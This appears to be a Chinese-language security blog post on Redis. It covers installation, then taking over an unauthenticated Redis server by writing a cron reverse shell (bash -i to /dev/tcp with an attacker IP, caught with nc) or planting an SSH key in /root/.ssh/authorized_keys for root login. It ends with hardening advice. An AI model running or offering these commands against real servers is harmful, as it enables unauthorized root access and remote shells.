2.redis安全

redis部署

nosql系列

redis服务安装

wget http://download.redis.io/releases/redis-4.0.9.tar.gz 
tar zxvf redis-4.0.9.tar.gz 
mv ./redis-4.0.9 /usr/local/redis
cd /usr/local/redis
make

//编译
//出现缺少包要安装gcc;出现jemalloc要make MALLOC=libc;需要8.5以上tcl要安装tcl
apt install gcc
make MALLOC=libc
apt install tcl
 
make test
make install

//判断是否安装成功
cd /usr/local/bin
ls

//创建保存配置文件的地方
mkdir /etc/redis
cp /usr/local/redis/redis.conf /etc/redis/
cd /etc/redis

//编辑配置文件
bind 192.168.223.130     //本机IP
daemonize yes    //守护进程改成yes

//一些参数
pidfile /var/run/redis_6379.pid  //进程文件
databases 16    //默认16个数据库

//开启redis服务
redis-server /etc/redis/redis.comf

//验证是否开启
ps aux | grep redis

//连接redis
redis-cli -h 192.168.223.130

kali安装redis-cli

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make install 

//将命令移到/usr/bin中,使得不用进文件夹就可以直接使用redis
cp /home/hacker/redis-stable/src/redis-cli /usr/bin
redis-cli -h 192.168.223.130

默认没有密码

redis写文件

计划任务反弹shell(Ubuntu不能,centos可以),写入一句话木马……

连接到目标redis服务器后输入

set haha "\n\n* * * * * bash -i >& /dev/tcp/[黑客IP]/9999 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root 
save

之后开启监听,每分钟都会计划任务上线一次

nc -lvnp 9999

计划任务,以下文件下的所有文件都会当作计划任务去执行,前提是自己就是计划任务

/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs

Ubuntu无法反弹的原因:计划任务中存在乱码会导致计划任务无法执行,redis目前无法解决;而centos会忽略乱码去执行不是乱码的内容

对于目标是Ubuntu的情况,既然可以写入文件,直接写一个一句话木马就行

redis和密钥登陆

redis设置密码

nano /etc/redis/redis.conf
添加requirepass [密码]

将redis直接shutdown,然后redis-server /etc/redis/redis.conf重启
连接redis并验证密码

redis-cli -h [IP]
auth [密码]
或
redis-cli -h [IP] -a [密码]

redis设置密钥免密码登陆

//生成密钥
ssh-keygen -t rsa
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h [IP] -a [密码] -x set [key名]

//登陆redis后,将密钥移到目标机
config set dir /root/.ssh
config set dbfilename authorized_keys  
save   //此时目标的/root/.ssh目录下出现黑客的公钥authorized_keys

//从黑客端直接连接目标机,获取对方服务器root权限
ssh -i id_rsa root@[目标IP]

redis安全策略

  1. 最好不要用root用户启动redis,单独为redis设置账号且权限有限
  2. 设置本地localhost不允许外部访问
  3. redis保护模式(protected-mode)开启,默认是开启的
  4. 端口修改为其他端口(默认6379)
  5. requirepass设置复杂的密码
posted @ 2022-04-24 22:43  icui4cu  阅读(72)  评论(0编辑  收藏  举报